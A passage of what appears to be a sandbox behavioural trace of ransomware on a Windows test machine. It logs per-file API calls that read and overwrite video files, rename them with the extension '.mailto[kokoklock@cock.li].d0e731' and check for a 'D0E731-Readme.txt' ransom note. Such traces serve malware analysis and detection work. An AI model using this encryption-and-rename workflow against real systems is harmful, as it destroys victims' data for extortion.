(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e38d0) returned 1 [0073.235] RtlExitUserThread (Status=0x1) Thread: id = 581 os_tid = 0x11c0 [0073.236] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\7gwwt5bjwaqqgjldxbpm.mkv")) returned 0x20 [0073.236] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv", dwFileAttributes=0x20) returned 1 [0073.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\7gwwt5bjwaqqgjldxbpm.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x918 [0073.237] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x1703fbc8 | out: lpFileSize=0x1703fbc8*=82949) returned 1 [0073.237] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x14401, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.237] ReadFile (in: hFile=0x918, lpBuffer=0x1703fb9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1703fb98, lpOverlapped=0x0 | out: lpBuffer=0x1703fb9c*, lpNumberOfBytesRead=0x1703fb98*=0x4, lpOverlapped=0x0) returned 1 [0073.237] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.237] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0073.237] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0073.237] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0073.237] NtQuerySystemTime (in: CurrentTime=0x1703fb74 | out: CurrentTime=0x1703fb74*=132121176311284138) returned 0x0 [0073.237] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x14b1dfa1 [0073.237] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x3bc0f300 [0073.237] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0xefb01b9c [0073.237] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x416b8f5e [0073.237] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0xa4cf4d97 [0073.237] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x370cc104 [0073.237] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x3b3ed34b [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x2196d103 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x85840883 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0xa4651e59 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x1cf54c38 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x6a73d99e [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x9ea60f38 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x72ae282 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0xac02e141 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x70d92dcb [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x22ecd73b [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0xa13707f7 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0xb3c4b500 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x4093777d [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x94cad551 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0xa5aeb7e9 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0xe1124391 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0xd7dc909b [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x4e319612 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x80774f2b [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x99fd1a64 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x7cc07f86 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x4dec9dac [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0xfa4fb3d8 [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0x420e9bfb [0073.238] RtlRandom (in: Seed=0x1703fb80 | out: Seed=0x1703fb80) returned 0xef874048 [0073.250] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.250] ReadFile (in: hFile=0x918, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1703fb4c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1703fb4c*=0x4096, lpOverlapped=0x0) returned 1 [0073.251] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd550 [0073.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e6b8 [0073.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e6b8) returned 1 [0073.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0073.252] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e6b8 [0073.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e6b8) returned 1 [0073.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd550) returned 1 [0073.252] WriteFile (in: hFile=0x918, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1703fb4c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1703fb4c*=0x4096, lpOverlapped=0x0) returned 1 [0073.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.252] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x14405, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.252] WriteFile (in: hFile=0x918, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1703fb84, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x1703fb84*=0x20, lpOverlapped=0x0) returned 1 [0073.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0073.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.252] WriteFile (in: hFile=0x918, lpBuffer=0x341e668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1703fb98, lpOverlapped=0x0 | out: lpBuffer=0x341e668*, lpNumberOfBytesWritten=0x1703fb98*=0x8, lpOverlapped=0x0) returned 1 [0073.252] WriteFile (in: hFile=0x918, lpBuffer=0x1703fbb0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1703fb98, lpOverlapped=0x0 | out: lpBuffer=0x1703fbb0*, lpNumberOfBytesWritten=0x1703fb98*=0x4, lpOverlapped=0x0) returned 1 [0073.252] WriteFile (in: hFile=0x918, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1703fb98, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1703fb98*=0x4, lpOverlapped=0x0) returned 1 [0073.253] WriteFile (in: hFile=0x918, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1703fb98, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1703fb98*=0x6c, lpOverlapped=0x0) returned 1 [0073.253] WriteFile (in: hFile=0x918, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1703fb98, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x1703fb98*=0x20, lpOverlapped=0x0) returned 1 [0073.253] WriteFile (in: hFile=0x918, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1703fb98, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1703fb98*=0x4, lpOverlapped=0x0) returned 1 [0073.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0073.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e640) returned 1 [0073.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e668) returned 1 [0073.253] CloseHandle (hObject=0x918) returned 1 [0073.253] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfa) returned 0x347d7e0 [0073.253] wcscpy (in: _Dest=0x347d7e0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv" [0073.253] wcscat (in: _Dest=0x347d7e0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731" [0073.253] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\7gwwt5bjwaqqgjldxbpm.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\7gwwt5bjwaqqgjldxbpm.mkv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.254] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.254] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d7e0) returned 1 [0073.254] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv", dwFileAttributes=0x20) returned 0 [0073.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3429330 [0073.254] wcscpy (in: _Dest=0x3429330, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0073.254] wcscat (in: _Dest=0x3429330, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0073.254] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0073.254] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429330) returned 1 [0073.254] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341d810) returned 1 [0073.254] RtlExitUserThread (Status=0x1) Thread: id = 582 os_tid = 0x11c4 [0073.256] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\cdca.swf")) returned 0x20 [0073.256] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf", dwFileAttributes=0x20) returned 1 [0073.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\cdca.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x918 [0073.256] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x170bf80c | out: lpFileSize=0x170bf80c*=45128) returned 1 [0073.256] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0xb044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.256] ReadFile (in: hFile=0x918, lpBuffer=0x170bf7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x170bf7dc, lpOverlapped=0x0 | out: lpBuffer=0x170bf7e0*, lpNumberOfBytesRead=0x170bf7dc*=0x4, lpOverlapped=0x0) returned 1 [0073.256] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.256] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0073.256] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0073.256] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e640 [0073.256] NtQuerySystemTime (in: CurrentTime=0x170bf7b8 | out: CurrentTime=0x170bf7b8*=132121176311440549) returned 0x0 [0073.256] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x22038cad [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x134ef86c [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xc890b0f6 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xf9424e0e [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xb422b1fb [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x978bf61a [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x49f897a8 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xc29d1c21 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x252471cb [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xb91f1fc [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x22474d19 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xeb52fdbc [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x1fd95806 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xdc3acd3c [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x5c35479a [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x8c75bd81 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x85805f62 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xf2457716 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xdbe63998 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x532d074 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x1996942e [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x62ca9a08 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xff80e6f1 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x85f0d73e [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x1f716d53 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xc1c40e1f [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x44d31be3 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x4b9143c [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0x18721b40 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xed1de9f7 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xcd3669e3 [0073.257] RtlRandom (in: Seed=0x170bf7c4 | out: Seed=0x170bf7c4) returned 0xe746a223 [0073.270] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.270] ReadFile (in: hFile=0x918, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x170bf790, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x170bf790*=0x4096, lpOverlapped=0x0) returned 1 [0073.270] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd550 [0073.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0073.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0073.271] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.271] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0073.271] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0073.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0073.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd550) returned 1 [0073.271] WriteFile (in: hFile=0x918, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x170bf790, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x170bf790*=0x4096, lpOverlapped=0x0) returned 1 [0073.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.271] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0xb048, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.271] WriteFile (in: hFile=0x918, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x170bf7c8, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x170bf7c8*=0x20, lpOverlapped=0x0) returned 1 [0073.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0073.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.272] WriteFile (in: hFile=0x918, lpBuffer=0x341e6b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x170bf7dc, lpOverlapped=0x0 | out: lpBuffer=0x341e6b8*, lpNumberOfBytesWritten=0x170bf7dc*=0x8, lpOverlapped=0x0) returned 1 [0073.272] WriteFile (in: hFile=0x918, lpBuffer=0x170bf7f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x170bf7dc, lpOverlapped=0x0 | out: lpBuffer=0x170bf7f4*, lpNumberOfBytesWritten=0x170bf7dc*=0x4, lpOverlapped=0x0) returned 1 [0073.272] WriteFile (in: hFile=0x918, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x170bf7dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x170bf7dc*=0x4, lpOverlapped=0x0) returned 1 [0073.272] WriteFile (in: hFile=0x918, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x170bf7dc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x170bf7dc*=0x6c, lpOverlapped=0x0) returned 1 [0073.272] WriteFile (in: hFile=0x918, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x170bf7dc, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x170bf7dc*=0x20, lpOverlapped=0x0) returned 1 [0073.272] WriteFile (in: hFile=0x918, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x170bf7dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x170bf7dc*=0x4, lpOverlapped=0x0) returned 1 [0073.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0073.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e668) returned 1 [0073.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e6b8) returned 1 [0073.272] CloseHandle (hObject=0x918) returned 1 [0073.273] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xda) returned 0x34333d8 [0073.273] wcscpy (in: _Dest=0x34333d8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf" [0073.273] wcscat (in: _Dest=0x34333d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731" [0073.273] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\cdca.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\cdca.swf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.273] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.273] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34333d8) returned 1 [0073.274] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf", dwFileAttributes=0x20) returned 0 [0073.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x34294a0 [0073.274] wcscpy (in: _Dest=0x34294a0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0073.274] wcscat (in: _Dest=0x34294a0, _Source="D0E731-Readme.txt" | out: 